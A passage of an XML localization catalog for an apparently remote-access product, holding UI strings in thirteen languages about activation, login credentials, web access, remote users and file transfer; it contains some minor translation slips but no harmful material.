<pt-br>O administrador do sistema pode configurar o seu computador para executar o %PRODUCTNAME automaticamente quando o Windows for iniciado.</pt-br>
<nl>Uw systeembeheerder kan uw computer zo configureren dat %PRODUCTNAME automatisch wordt gestart wanneer Windows start.</nl>
</msg>
<msg os="macosx" name="ADMINCANENABLE">
<en>Your system administrator can configure your computer to run %PRODUCTNAME automatically when the Mac starts.</en>
<de>Ihr Systemadministrator kann ihren Computer so konfigurieren, dass %PRODUCTNAME automatisch mit Mac startet.</de>
<es>Su administrador de sistema puede configurar su ordenador para ejecutar %PRODUCTNAME automáticamente cuando se inicie Mac.</es>
<fr>Votre administrateur système peut configurer votre ordinateur pour qu'il lance %PRODUCTNAME automatiquement au démarrage de Mac.</fr>
<it>L'amministratore di sistema può configurare il computer in modo da eseguire automaticamente %PRODUCTNAME all'avvio di Mac.</it>
<ru>Системный администратор может настроить компьютер на запуск приложения %PRODUCTNAME вместе с операционной системой Mac.</ru>
<ja>システム管理者は、Windows の起動時に %PRODUCTNAME を自動的に実行するようにコンピュータを設定できます。</ja>
<zh>您的系统管理员可以将您的计算机配置为在 Mac 启动时自动运行 %PRODUCTNAME。</zh>
<ko>시스템 관리자는 Windows가 시작될 때 컴퓨터가 자동으로 %PRODUCTNAME을(를) 실행하도록 구성할 수 있습니다.</ko>
<en-gb>Your system administrator can configure your computer to run %PRODUCTNAME automatically when Mac starts.</en-gb>
<hu>Az Ön rendszergazdája beállíthatja az Ön számítógépét, hogy az automatikusan futtassa a %PRODUCTNAME programot a Mac indulásakor.</hu>
<pt-br>O administrador do sistema pode configurar o seu computador para executar o %PRODUCTNAME automaticamente quando o Mac for iniciado.</pt-br>
<nl>Uw systeembeheerder kan uw computer zo configureren dat %PRODUCTNAME automatisch wordt gestart wanneer Mac start.</nl>
</msg>
<msg name="DOCS">
<en>Documentation and Support</en>
<de>Dokumentation und Support</de>
<es>Documentación y Asistencia</es>
<fr>Documentation et support</fr>
<it>Documentazione e supporto</it>
<ru>Документация и поддержка</ru>
<ja>マニュアルおよびサポート</ja>
<zh>文档和支持</zh>
<ko>설명서 및 지원</ko>
<en-gb>Documentation and Support</en-gb>
<hu>Dokumentáció és támogatás</hu>
<pt-br>Documentação e suporte</pt-br>
<nl>Documentatie en support</nl>
</msg>
<msg name="DOCLINK">
<en>Getting started guide, Documentation and %PRODUCTNAME support.</en>
<de>Getting Started Guide. Dokumentation und %PRODUCTNAME Support</de>
<es>Guía Comenzar a utilizar, Documentación y asistencia para %PRODUCTNAME.</es>
<fr>Guuide de démarrage, Documentation et Support de %PRODUCTNAME</fr>
<it>Guida introduttiva, documentazione e supporto per %PRODUCTNAME.</it>
<ru>Руководство по началу работы, документация и поддержка %PRODUCTNAME.</ru>
<ja>入門ガイド、マニュアル、および %PRODUCTNAME サポート</ja>
<zh>入门指南、文档和 %PRODUCTNAME 支持。</zh>
<ko>시작하기 안내서, 설명서 및 %PRODUCTNAME 지원.</ko>
<en-gb>Getting started guide, Documentation and %PRODUCTNAME support.</en-gb>
<hu>Első lépések útmutató, Dokumentáció és %PRODUCTNAME támogatás.</hu>
<pt-br>Guia de introdução, documentação e suporte do %PRODUCTNAME.</pt-br>
<nl>Handleiding Aan de slag, documentatie en support voor %PRODUCTNAME.</nl>
</msg>
<msg name="NOTLICENSED">
<en>%PRODUCTNAME is not activated</en>
<de>%PRODUCTNAME ist nicht aktiviert.</de>
<es>%PRODUCTNAME no está activado.</es>
<fr>%PRODUCTNAME n'est pas activé</fr>
<it>%PRODUCTNAME non è attivato</it>
<ru>Приложение %PRODUCTNAME не активировано.</ru>
<ja>%PRODUCTNAME は起動していません</ja>
<zh>未激活 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME은(는) 활성화되지 않았습니다.</ko>
<en-gb>%PRODUCTNAME is not activated</en-gb>
<hu>A %PRODUCTNAME nincs aktiválva.</hu>
<pt-br>O %PRODUCTNAME não está ativado</pt-br>
<nl>%PRODUCTNAME is niet geactiveerd</nl>
</msg>
<msg name="NOTLICENSED.RUNNING">
<en>%PRODUCTNAME is installed but has not been activated.</en>
<de>%PRODUCTNAME ist installiert, wurde jedoch noch nicht aktiviert.</de>
<es>%PRODUCTNAME está instalado, pero no se ha activado.</es>
<fr>%PRODUCTNAME est installé, mais n'a pas été activé.</fr>
<it>%PRODUCTNAME è installato ma non è stato attivato.</it>
<ru>Приложение %PRODUCTNAME установлено, но не активировано.</ru>
<ja>%PRODUCTNAME はインストールされていますが、起動していません。</ja>
<zh>已安装 %PRODUCTNAME 但尚未激活。</zh>
<ko>%PRODUCTNAME은(는) 설치되었지만 활성화되지 않았습니다.</ko>
<en-gb>%PRODUCTNAME is installed but has not been activated.</en-gb>
<hu>A %PRODUCTNAME telepítve van, de nincs aktiválva.</hu>
<pt-br>O %PRODUCTNAME está instalado, mas não foi ativado.</pt-br>
<nl>%PRODUCTNAME is geïnstalleerd maar is niet geactiveerd.</nl>
</msg>
<msg name="CONFIGLICENSE">
<en>Please click here to activate %PRODUCTNAME.</en>
<de>Klicken sie hier, um %PRODUCTNAME zu aktivieren.</de>
<es>Haga clic aquí para activar %PRODUCTNAME.</es>
<fr>Veuillez cliquez ici pour activé %PRODUCTNAME.</fr>
<it>Fare clic qui per attivare %PRODUCTNAME.</it>
<ru>Щелкните здесь, чтобы активировать %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME を起動するには、ここをクリックしてください。</ja>
<zh>请单击此处以激活 %PRODUCTNAME。</zh>
<ko>%PRODUCTNAME을(를) 활성화하려면 여기를 클릭하십시오.</ko>
<en-gb>Please click here to activate %PRODUCTNAME.</en-gb>
<hu>Kérem, kattintson ide a %PRODUCTNAME aktiválásához.</hu>
<pt-br>Clique aqui para ativar o %PRODUCTNAME.</pt-br>
<nl>Klik hier als u %PRODUCTNAME wilt activeren.</nl>
</msg>
<msg name="USERNAMENEEDED">
<en>You will be asked to enter a username and a password. You have specified these during Setup.</en>
<de>Sie werden aufgefordert, einen Benutzernamen und ein Kennwort anzugeben. Diese Angaben haben sie während der Installation gemacht.</de>
<es>Se le pedirá que introduzca un nombre de usuario y una contraseña. Los ha especificado durante la Instalación.</es>
<fr>Vous serez invité à entrer un username et un mot de passe. Vous avez
indiqué ces derniers pendant l'installation.</fr>
<it>Verrà richiesto di immettere un nome utente e una password definiti durante l'installazione.</it>
<ru>Должно появиться окно с требованием ввести имя пользователя и пароль. Эти данные были указаны во время установки.</ru>
<ja>ユーザ名とパスワードを入力するように求められます。これらは、セットアップ時に指定済みです。</ja>
<zh>系统将要求您输入用户名和密码。它们在设置期间已指定。</zh>
<ko>사용자 이름과 암호를 입력할 것을 요청합니다. 설치 중에 해당 정보를 지정했습니다.</ko>
<en-gb>You will be asked to enter a username and a password. You have specified these during Setup.</en-gb>
<hu>Felhasználói nevet és jelszót kell megadnia. Ezeket a telepítés során adta meg.</hu>
<pt-br>Você será solicitado a digitar um nome de usuário e uma senha. Você os especificou durante a Instalação.</pt-br>
<nl>U wordt dan gevraagd een gebruikersnaam en een wachtwoord in te voeren. U hebt deze gegevens tijdens de installatieprocedure opgegeven.</nl>
</msg>
<msg name="ADMINNEEDED">
<en>You will be asked to enter a computer administrator username and password.</en>
<de>Sie werden aufgefordert, einen Benutzernamen und ein Kennwort für den Computeradministrator einzugeben.</de>
<es>Se le pedirá que introduzca un nombre de usuario y una contraseña para el administrador del ordenador.</es>
<fr>Vous serez invité à entrer un username d'administrateur d'ordinateur
et un mot de passe.</fr>
<it>Verrà richiesto di immettere un nome utente amministratore e una password.</it>
<ru>Должно появится окно с требованием ввести имя пользователя и пароль администратора компьютера.</ru>
<ja>コンピュータ管理者のユーザ名とパスワードを入力するように求められます。</ja>
<zh>系统将要求您输入计算机管理员用户名和密码。</zh>
<ko>컴퓨터 관리자 사용자 이름 및 암호를 입력할 것을 요청합니다.</ko>
<en-gb>You will be asked to enter a computer administrator username and password.</en-gb>
<hu>Meg kell adnia a számítógép-felügyeleti felhasználói nevet és jelszót.</hu>
<pt-br>Você será solicitado a digitar um nome de usuário e uma senha para o administrador do computador.</pt-br>
<nl>U wordt dan gevraagd een gebruikersnaam en een wachtwoord voor de systeembeheerder van de computer in te voeren.</nl>
</msg>
<msg name="OPENRA">
<en>Using %PRODUCTNAME</en>
<de>%PRODUCTNAME verwenden</de>
<es>Utilizando %PRODUCTNAME</es>
<fr>Utilisation de %PRODUCTNAME</fr>
<it>Utilizzo di %PRODUCTNAME</it>
<ru>Использование %PRODUCTNAME</ru>
<ja>%PRODUCTNAME の使用法</ja>
<zh>使用 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME 사용</ko>
<en-gb>Using %PRODUCTNAME</en-gb>
<hu>A %PRODUCTNAME használata</hu>
<pt-br>Usando o %PRODUCTNAME</pt-br>
<nl>%PRODUCTNAME gebruiken</nl>
</msg>
<msg name="OPENRA.CLICKHERE">
<en>Open %PRODUCTNAME locally in your web browser.</en>
<de>%PRODUCTNAME im lokalen Webbrowser öffnen.</de>
<es>Abra %PRODUCTNAME localmente en su navegador web.</es>
<fr>Ouvrez %PRODUCTNAME localement dans votre navigateur Web</fr>
<it>Aprire %PRODUCTNAME a livello locale nel browser Web.</it>
<ru>Откройте %PRODUCTNAME локально в своем веб-обозревателе.</ru>
<ja>%PRODUCTNAME を Web ブラウザでローカルに開きます。</ja>
<zh>在您的 Web 浏览器中以本地方式打开 %PRODUCTNAME。</zh>
<ko>웹 브라우저에서 %PRODUCTNAME을(를) 로컬로 엽니다.</ko>
<en-gb>Open %PRODUCTNAME locally in your web browser.</en-gb>
<hu>Nyissa meg a %PRODUCTNAME programot helyileg, a böngészőjében.</hu>
<pt-br>Abra o %PRODUCTNAME localmente no seu navegador da web.</pt-br>
<nl>Geef %PRODUCTNAME lokaal in uw webbrowser weer.</nl>
</msg>
<msg name="WINCREDSUSED">
<en>Your current Windows credentials will be used to log in to %PRODUCTNAME.</en>
<de>Ihr Windows-Benutzerkonto wird verwendet, um Sie an %PRODUCTNAME anzumelden.</de>
<es>Sus actuales credenciales de Windows se utilizarán para iniciar sesión en %PRODUCTNAME.</es>
<fr>Vos références courantes de Windows seront employées pour ouvrir une session  %PRODUCTNAME.</fr>
<it>Per accedere a %PRODUCTNAME verranno utilizzate le credenziali Windows correnti.</it>
<ru>Для входа в %PRODUCTNAME будут использованы учетные данные текущего пользователя Windows.</ru>
<ja>%PRODUCTNAME へのログインには、現在の Windows の資格情報が使用されます。</ja>
<zh>您的当前 Windows 证书将用于登录至 %PRODUCTNAME。</zh>
<ko>현재 Windows 자격 증명을 사용하여 %PRODUCTNAME에 로그인합니다.</ko>
<en-gb>Your current Windows credentials will be used to log in to %PRODUCTNAME.</en-gb>
<hu>Az Ön jelenlegi Windows hitelesítő adataival jelentkezhet be a %PRODUCTNAME-be.</hu>
<pt-br>As suas atuais credenciais do Windows serão usadas para conexão com o %PRODUCTNAME.</pt-br>
<nl>Uw huidige aanmeldingsgegevens voor Windows zullen worden gebruikt om u aan te melden bij %PRODUCTNAME.</nl>
</msg>
<msg os="macosx" name="WINCREDSUSED">
<en>Your current Mac credentials will be used to log in to %PRODUCTNAME.</en>
<de>Ihr Mac-Benutzerkonto wird verwendet, um Sie an %PRODUCTNAME anzumelden.</de>
<es>Sus actuales credenciales de Mac se utilizarán para iniciar sesión en %PRODUCTNAME.</es>
<fr>Vos références courantes de Mac seront employées pour ouvrir une session  %PRODUCTNAME.</fr>
<it>Per accedere a %PRODUCTNAME verranno utilizzate le credenziali Mac correnti.</it>
<ru>Для входа в %PRODUCTNAME будут использованы учетные данные текущего пользователя Mac.</ru>
<ja>%PRODUCTNAME へのログインには、現在の Mac の資格情報が使用されます。</ja>
<zh>您的当前 Mac 证书将用于登录至 %PRODUCTNAME。</zh>
<ko>현재 Mac 자격 증명을 사용하여 %PRODUCTNAME에 로그인합니다.</ko>
<en-gb>Your current Mac credentials will be used to log in to %PRODUCTNAME.</en-gb>
<hu>Az Ön jelenlegi Mac hitelesítő adataival jelentkezhet be a %PRODUCTNAME-be.</hu>
<pt-br>As suas atuais credenciais do Mac serão usadas para conexão com o %PRODUCTNAME.</pt-br>
<nl>Uw huidige aanmeldingsgegevens voor Mac zullen worden gebruikt om u aan te melden bij %PRODUCTNAME.</nl>
</msg>
<msg name="WINCREDSBAD">
<en>Your current Windows credentials do not allow you to access %PRODUCTNAME. You will be prompted to enter a username and password.</en>
<de>Ihr Windows-Benutzerkonto hat nicht die Berechtigung, um auf %PRODUCTNAME zuzugreifen. Sie werden aufgefordert einen Benutzernamen und ein Kennwort einzugeben.</de>
<es>Sus actuales credenciales de Windows no le permiten acceder a %PRODUCTNAME. Se le pedirá que introduzca un nombre de usuario y una clave de acceso.</es>
<fr>Vos références courantes de Windows ne vous permettent pas d'accéder à %PRODUCTNAME. Vous serez invité à entrer un nom d'utlisateur et un mot de passe.</fr>
<it>Le credenziali Windows correnti non consentiranno di accedere a %PRODUCTNAME. Verrà richiesto di immettere un nome utente e una password.</it>
<ru>Учетные данные текущего пользователя Windows не позволяют получить доступ к %PRODUCTNAME. Должно появиться окно с требованием ввести имя пользователя и пароль.</ru>
<ja>現在の Windows の資格情報では %PRODUCTNAME へのアクセスは許可されません。ユーザ名とパスワードを入力するように求められます。</ja>
<zh>您的当前 Windows 证书不允许您访问 %PRODUCTNAME。系统将提示您输入用户名和密码。</zh>
<ko>현재 Windows 자격 증명을 사용하여 %PRODUCTNAME에 액세스할 수 없습니다. 사용자 이름 및 암호를 입력하라는 메시지가 나타납니다.</ko>
<en-gb>Your current Windows credentials do not allow you to access %PRODUCTNAME. You will be prompted to enter a username and password.</en-gb>
<hu>Az Ön jelenlegi Windows hitelesítő adatai nem engedélyezik, hogy hozzáférjen a %PRODUCTNAME programhoz. Felhasználói nevet és jelszót kell megadnia.</hu>
<pt-br>As suas atuais credenciais do Windows não permitem acesso ao %PRODUCTNAME. Você será solicitado a digitar um nome de usuário e uma senha.</pt-br>
<nl>Met uw huidige aanmeldingsgegevens voor Windows hebt u geen toegang tot %PRODUCTNAME. U wordt gevraagd een gebruikersnaam en een wachtwoord in te voeren.</nl>
</msg>
<msg os="macosx" name="WINCREDSBAD">
<en>Your current Mac credentials do not allow you to access %PRODUCTNAME. You will be prompted to enter a username and password.</en>
<de>Ihr Mac-Benutzerkonto hat nicht die Berechtigung, um auf %PRODUCTNAME zuzugreifen. Sie werden aufgefordert einen Benutzernamen und ein Kennwort einzugeben.</de>
<es>Sus actuales credenciales de Mac no le permiten acceder a %PRODUCTNAME. Se le pedirá que introduzca un nombre de usuario y una clave de acceso.</es>
<fr>Vos références courantes de Mac ne vous permettent pas d'accéder à %PRODUCTNAME. Vous serez invité à entrer un nom d'utlisateur et un mot de passe.</fr>
<it>Le credenziali Mac correnti non consentiranno di accedere a %PRODUCTNAME. Verrà richiesto di immettere un nome utente e una password.</it>
<ru>Учетные данные текущего пользователя Mac не позволяют получить доступ к %PRODUCTNAME. Должно появиться окно с требованием ввести имя пользователя и пароль.</ru>
<ja>現在の Mac の資格情報では %PRODUCTNAME へのアクセスは許可されません。ユーザ名とパスワードを入力するように求められます。</ja>
<zh>您的当前 Mac 证书不允许您访问 %PRODUCTNAME。系统将提示您输入用户名和密码。</zh>
<ko>현재 Mac 자격 증명을 사용하여 %PRODUCTNAME에 액세스할 수 없습니다. 사용자 이름 및 암호를 입력하라는 메시지가 나타납니다.</ko>
<en-gb>Your current Mac credentials do not allow you to access %PRODUCTNAME. You will be prompted to enter a username and password.</en-gb>
<hu>Az Ön jelenlegi Mac hitelesítő adatai nem engedélyezik, hogy hozzáférjen a %PRODUCTNAME programhoz. Felhasználói nevet és jelszót kell megadnia.</hu>
<pt-br>As suas atuais credenciais do Mac não permitem acesso ao %PRODUCTNAME. Você será solicitado a digitar um nome de usuário e uma senha.</pt-br>
<nl>Met uw huidige aanmeldingsgegevens voor Mac hebt u geen toegang tot %PRODUCTNAME. U wordt gevraagd een gebruikersnaam en een wachtwoord in te voeren.</nl>
</msg>
<msg name="NETWORKINTERFACES">
<en>With the proper credentials, it can be accessed with any web browser on the following network interfaces:</en>
<de>Mit den richtigen Berechtigungen kann über jeden Webbrowser über folgende Netzwerkschnittstelle zugegriffen werden:</de>
<es>Con las credenciales adecuadas, puede accederse con cualquier navegador en los siguientes interfaces de red:</es>
<fr>Avec les références appropriées, il peut être accédé avec n'importe quel navigateur Web sur les interfaces réseaux suivantes :</fr>
<it>Con le credenziali appropriate è possibile accedere mediante qualsiasi browser Web alle seguenti interfacce di rete:</it>
<ru>При использовании надлежащих учетных данных приложение доступно из любого веб-обозревателя на следующих сетевых интерфейсах:</ru>
<ja>正しい資格情報さえあれば、Web ブラウザの種類を問わず、次のネットワーク インターフェイスでアクセスすることができます。</ja>
<zh>通过使用正确的证书,您可以使用任何 Web 浏览器在以下网络界面上访问该产品:</zh>
<ko>적합한 자격 증명을 사용하여 다음 네트워크 인터페이스의 웹 브라우저에서 액세스할 수 있습니다.</ko>
<en-gb>With the proper credentials, it can be accessed with any web browser on the following network interfaces:</en-gb>
<hu>A megfelelő hitelesítő adatokkal bármilyen webböngészőből elérhető, a következő hálózati interfészeken:</hu>
<pt-br>Com as devidas credenciais, ele pode ser acessado com qualquer navegador da web nas seguintes interfaces de rede:</pt-br>
<nl>Als u over de vereiste aanmeldingsgegevens beschikt, krijgt u toegang in elke webbrowser met de volgende netwerkinterfaces:</nl>
</msg>
<msg name="WEBSVC.OPEN">
<en>Open %PRODUCNAME through the %WEBSVC.NAME website.</en>
<de>%PRODUCNAME über die %WEBSVC.NAME Webseite öffnen.</de>
<es>Abra %PRODUCNAME a través del sitio web %WEBSVC.NAME.</es>
<fr>Ouvre %PRODUCNAME à travers le site Web %WEBSVC.NAME.</fr>
<it>Aprire %PRODUCNAME attraverso il sito Web %WEBSVC.NAME.</it>
<ru>Откройте %PRODUCNAME посредством веб-сайта %WEBSVC.NAME.</ru>
<ja>%WEBSVC.NAME Web サイトから %PRODUCTNAME を開きます。</ja>
<zh>通过 %WEBSVC.NAME Web 站点打开 %PRODUCNAME。</zh>
<ko>%WEBSVC.NAME 웹 사이트를 통해 %PRODUCNAME을(를) 엽니다.</ko>
<en-gb>Open %PRODUCNAME through the %WEBSVC.NAME website.</en-gb>
<hu>Nyissa meg a %PRODUCTNAME programot a %WEBSVC.NAME webszolgáltatáson keresztül.</hu>
<pt-br>Abra o %PRODUCTNAME através do site %WEBSVC.NAME.</pt-br>
<nl>Open %PRODUCNAME via de website %WEBSVC.NAME .</nl>
</msg>
<msg name="WEBSVC.SHARING">
<en>Share files using %PRODUCTNAME secure File Sharing.</en>
<es>Comparta archivos utilizando la Transferencia de archivos segura de %PRODUCTNAME.</es>
<de>Über die sichere Dateifreigabe von %PRODUCTNAME können Sie Dateien anderen Benutzern zugänglich machen.</de>
<fr>Partagez des fichiers à l'aide du partage de fichiers sécurisé de %PRODUCTNAME.</fr>
<it>Condividi file usando la Condivisione dei file protetta di %PRODUCTNAME.</it>
<ru>Передавайте файлы с помощью безопасного общего доступа к файлам %PRODUCTNAME.</ru>
<ja>%PRODUCTNAME の安全なファイル共有を使用してファイルを共有します。</ja>
<zh>使用 %PRODUCTNAME 安全的文件共享功能共享文件。</zh>
<ko>%PRODUCTNAME 보안 파일 공유를 사용하여 파일을 공유합니다.</ko>
<en-gb>Share files using %PRODUCTNAME secure File Sharing.</en-gb>
<hu>Osszon meg fájlokat a %PRODUCTNAME biztonságos fájlmegosztásával.</hu>
<pt-br>Compartilhe os arquivos usando o Compartilhamento de arquivos seguro do %PRODUCTNAME.</pt-br>
<nl>Bestanden delen met de beveiligde functie Bestanden delen van %PRODUCTNAME.</nl>
</msg>
<msg name="WEBSVC.MANAGE">
<en>Change your %WEBSVC.NAME account details.</en>
<de>%WEBSVC.NAME Konto ändern.</de>
<es>Cambie los detalles de su cuenta %WEBSVC.NAME.</es>
<fr>Changez votre %WEBSVC.NAME compte détaillé.</fr>
<it>Modificare i dettagli dell'account %WEBSVC.NAME.</it>
<ru>Измените сведения об учетной записи %WEBSVC.NAME.</ru>
<ja>%WEBSVC.NAME アカウントの詳細を変更します。</ja>
<zh>更改您的 %WEBSVC.NAME 帐户详情。</zh>
<ko>%WEBSVC.NAME 계정 세부사항을 변경합니다.</ko>
<en-gb>Change your %WEBSVC.NAME account details.</en-gb>
<hu>Módosítsa %WEBSVC.NAME fiókjának adatait.</hu>
<pt-br>Altere seus detalhes de conta do %WEBSVC.NAME.</pt-br>
<nl>De detailgegevens van uw %WEBSVC.NAME-account wijzigen.</nl>
</msg>
<msg name="BEINGACCESSED">
<en>%PRODUCTNAME Is Being Accessed</en>
<de>Auf %PRODUCTNAME wird zugegriffen</de>
<es>Se esta accediendo a %PRODUCTNAME</es>
<fr>%PRODUCTNAME est en train d'être accédé</fr>
<it>Accesso a %PRODUCTNAME</it>
<ru>Осуществляется доступ к %PRODUCTNAME</ru>
<ja>%PRODUCTNAME にアクセス中</ja>
<zh>正在访问 %PRODUCTNAME</zh>
<ko>%PRODUCTNAME에 액세스하는 중입니다</ko>
<en-gb>%PRODUCTNAME Is Being Accessed</en-gb>
<hu>A %PRODUCTNAME program hozzáférés alatt áll.</hu>
<pt-br>O %PRODUCTNAME está sendo acessado</pt-br>
<nl>%PRODUCTNAME wordt reeds gebruikt voor externe toegang</nl>
</msg>
<msg name="ACCESSEDBY">
<en>%PRODUCTNAME is currently being accessed by user "%REMOTEUSER" from %REMOTEADDRESS.</en>
<de>Auf %PRODUCTNAME wird von "%REMOTEUSER" über %REMOTEADDRESS zugegriffen.</de>
<es>El usuario "%REMOTEUSER" está accediendo a %PRODUCTNAME desde %REMOTEADDRESS.</es>
<fr>%PRODUCTNAME est actuellement accédé par l'utilisateur "%REMOTEUSER" depuis %REMOTEADDRESS.</fr>
<it>Accesso a %PRODUCTNAME da parte dell'utente "%REMOTEUSER" da %REMOTEADDRESS.</it>
<ru>В настоящее время доступ к %PRODUCTNAME осуществляется пользователем "%REMOTEUSER" из %REMOTEADDRESS.</ru>
<ja>%PRODUCTNAME には現在、"%REMOTEUSER" が %REMOTEADDRESS からアクセスしています。</ja>
<zh>用户“%REMOTEUSER”当前正从 %REMOTEADDRESS 访问 %PRODUCTNAME。</zh>
<ko>현재 %REMOTEADDRESS에서 "%REMOTEUSER" 사용자가 %PRODUCTNAME에 액세스하는 중입니다.</ko>
<en-gb>%PRODUCTNAME is currently being accessed by user "%REMOTEUSER" from %REMOTEADDRESS.</en-gb>
<hu>A %PRODUCTNAME programba jelenleg a(z) "%REMOTEUSER" felhasználó lépett be, innen: %REMOTEADDRESS.</hu>
<pt-br>O %PRODUCTNAME está sendo acessado no momento pelo usuário "%REMOTEUSER" em %REMOTEADDRESS.</pt-br>
<nl>%PRODUCTNAME wordt op dit moment reeds gebruikt voor externe toegang door gebruiker "%REMOTEUSER" vanaf %REMOTEADDRESS.</nl>
</msg>
<msg name="OPENFORMORE">
<en>Please open the %PRODUCTNAME web interface for more information.</en>
<de>Öffnen sie die %PRODUCTNAME Weboberfläche für weitere Informationen.</de>
<es>Abra la interfaz web de %PRODUCTNAME para obtener más información.</es>
<fr>Veuillez ouvrir l'interface web de %PRODUCTNAME pour davantage d'information.</fr>
<it>Aprire l'interfaccia Web di %PRODUCTNAME per ulteriori informazioni.</it>
<ru>Отройте веб-интерфейс приложения %PRODUCTNAME, чтобы получить дополнительную информацию.</ru>
<ja>詳細情報については、%PRODUCTNAME Web インターフェイスを開いてください。</ja>
<zh>请打开 %PRODUCTNAME Web 界面了解更多信息。</zh>
<ko>자세한 내용을 보려면 %PRODUCTNAME 웹 인터페이스를 여십시오.</ko>
<en-gb>Please open the %PRODUCTNAME web interface for more information.</en-gb>
<hu>Kérem, nyissa meg a %PRODUCTNAME webes felületét további információkért.</hu>
<pt-br>Para obter mais informações, abra a interface da web do %PRODUCTNAME.</pt-br>
<nl>Geef de webinterface van %PRODUCTNAME weer voor meer informatie.</nl>
</msg>
</cat>
<!-- This will appear in the Windows "Send To" context menu. Must not contain characters that are invalid
in file names, such as "?:\/"
-->
<msg name="FILEXFER.SENDTO">
<en>Remote Controlling Computer</en>
<de>Computer wird fernbedient</de>
<es>Ordenador que realiza el Control Remoto</es>
<fr>Contrôle d'ordinateur distant</fr>
<it>Computer di controllo remoto</it>
<ru>Компьютер, осуществляющий удаленное управление</ru>
<ja>リモート制御しているコンピュータ</ja>
<zh>远程控制计算机</zh>
<ko>컴퓨터 원격 제어</ko>
<en-gb>Remote Controlling Computer</en-gb>
<hu>A számítógép távvezérlése</hu>
<pt-br>Controle remoto do computador</pt-br>
<nl>Besturing van computers op afstand</nl>
</msg>
<msg name="FILEXFER.BUSY">
<en>%PRODUCTNAME12345678901234567890 is already busy sending or receiving a file.</en>
<de>%PRODUCTNAME12345678901234567890 sendet oder empfängt gerade eine Datei.</de>
<es>%PRODUCTNAME12345678901234567890 está ocupado enviando o recibiendo un archivo.</es>
<fr>%PRODUCTNAME12345678901234567890 est déjà occupé à recevoir ou à réceptionner un fichier.</fr>
<it>%PRODUCTNAME12345678901234567890 è già occupato nell'invio o nella ricezione di un file.</it>
<ru>%PRODUCTNAME12345678901234567890 уже занят в процессе отправки или получения файла.</ru>
<ja>%PRODUCTNAME12345678901234567890 はファイルの送信または受信中で既にビジーです。</ja>
<zh>%PRODUCTNAME12345678901234567890 正忙于发送或接收文件。</zh>
<ko>%PRODUCTNAME12345678901234567890이(가) 이미 파일을 보내거나 받는 중입니다.</ko>
<en-gb>%PRODUCTNAME12345678901234567890 is already busy sending or receiving a file.</en-gb>
<hu>A(z)  %PRODUCTNAME12345678901234567890 éppen fájlt küld vagy fogad.</hu>
<pt-br>%PRODUCTNAME12345678901234567890 já está ocupado enviando ou recebendo um arquivo.</pt-br>
<nl>%PRODUCTNAME12345678901234567890 is reeds bezig met het verzenden of ontvangen van een bestand.</nl>
</msg>
<msg name="FILEXFER.CANTCONNECT">
<en>Could not connect to %PRODUCTNAME12345678901234567890.</en>
<de>Die Verbindung zu %PRODUCTNAME12345678901234567890 konnte nicht hergestellt werden.</de>
<es>No se pudo conectar con %PRODUCTNAME12345678901234567890.</es>
<fr>Ne peut pas se connecter à %PRODUCTNAME12345678901234567890.</fr>
<it>Impossibile eseguire la connessione a %PRODUCTNAME12345678901234567890.</it>
<ru>Не удалось подключиться к %PRODUCTNAME12345678901234567890.</ru>
<ja>%PRODUCTNAME12345678901234567890 に接続できませんでした。</ja>
<zh>无法连接至 %PRODUCTNAME12345678901234567890。</zh>
<ko>%PRODUCTNAME12345678901234567890에 연결할 수 없습니다.</ko>
<en-gb>Could not connect to %PRODUCTNAME12345678901234567890.</en-gb>
<hu>Nem sikerült a csatlakozás ehhez: %PRODUCTNAME12345678901234567890.</hu>
<pt-br>Não foi possível conectar-se ao %PRODUCTNAME12345678901234567890.</pt-br>
<nl>Kan geen verbinding maken met %PRODUCTNAME12345678901234567890.</nl>
</msg>
<msg name="FILEXFER.PREPARINGFILE.X">
<en>Please wait, preparing to send file $1...</en>
<de>Bitte warten, das Senden der Datei $1 wird vorbereitet ...</de>
<es>Espere, preparando para enviar archivo $1...</es>
<fr>Veuillez patienter, en préparation d'envoi du fichier $1...</fr>
<it>Attendere, preparazione all'invio del file $...</it>
<ru>Подождите, идет подготовка к отправке файла $1...</ru>
<ja>お待ちください。ファイル $1 を送信する準備をしています...</ja>
<zh>正准备发送文件 $1,请稍候...</zh>
<ko>기다려 주십시오. $1 파일을 보내려고 준비하는 중입니다...</ko>
<en-gb>Please wait, preparing to send file $1...</en-gb>
<hu>Kérem várjon, felkészülés a következő fájl küldésére: $1...</hu>
<pt-br>Aguarde; preparando-se para enviar o arquivo $1...</pt-br>
<nl>Een ogenblik geduld, bezig met voorbereiden van verzenden van bestand $1...</nl>
</msg>
<msg name="FILEXFER.PREPARINGFILES">
<en>Please wait, preparing to send files...</en>
<de>Bitte warten, das Senden der Dateien wird vorbereitet ...</de>
<es>Espere, preparando para enviar archivos...</es>
<fr>Veuillez patienter, en préparation d'envoi des fichiers...</fr>
<it>Attendere, preparazione all'invio dei file...</it>
<ru>Подождите, идет подготовка к отправке файлов...</ru>
<ja>お待ちください。ファイルを送信する準備をしています...</ja>
<zh>正准备发送文件,请稍候...</zh>
<ko>기다려 주십시오. 파일을 보내려고 준비하는 중입니다...</ko>
<en-gb>Please wait, preparing to send files...</en-gb>
<hu>Kérem várjon, felkészülés fájlok küldésére...</hu>
<pt-br>Aguarde; preparando-se para enviar arquivos...</pt-br>
<nl>Een ogenblik geduld, bezig met voorbereiden van verzenden van bestanden...</nl>
</msg>
<msg name="FILEXFER.DIALOGTITLE">
<en>%PRODUCTNAME12345678901234567890</en>
<de>%PRODUCTNAME12345678901234567890</de>
<es>%PRODUCTNAME12345678901234567890</es>
<fr>%PRODUCTNAME12345678901234567890</fr>
<it>%PRODUCTNAME12345678901234567890</it>
<ru>%PRODUCTNAME12345678901234567890</ru>
<ja>%PRODUCTNAME12345678901234567890</ja>
<zh>%PRODUCTNAME12345678901234567890</zh>
<ko>%PRODUCTNAME12345678901234567890</ko>
<en-gb>%PRODUCTNAME12345678901234567890</en-gb>
<hu>%PRODUCTNAME12345678901234567890</hu>
<pt-br>%PRODUCTNAME12345678901234567890</pt-br>
<nl>%PRODUCTNAME12345678901234567890</nl>
</msg>
<msg name="FILEXFER.SENDING">
<en>Sending file:</en>
<de>Datei wird gesendet:</de>
<es>Enviando archivo:</es>
<fr>Envoi de fichiers:</fr>
<it>Invio del file:</it>
<ru>Отправляемый файл:</ru>
<ja>送信中のファイル :</ja>
<zh>正在发送文件:</zh>
<ko>파일을 보내는 중:</ko>
<en-gb>Sending file:</en-gb>
<hu>Fájl küldése:</hu>
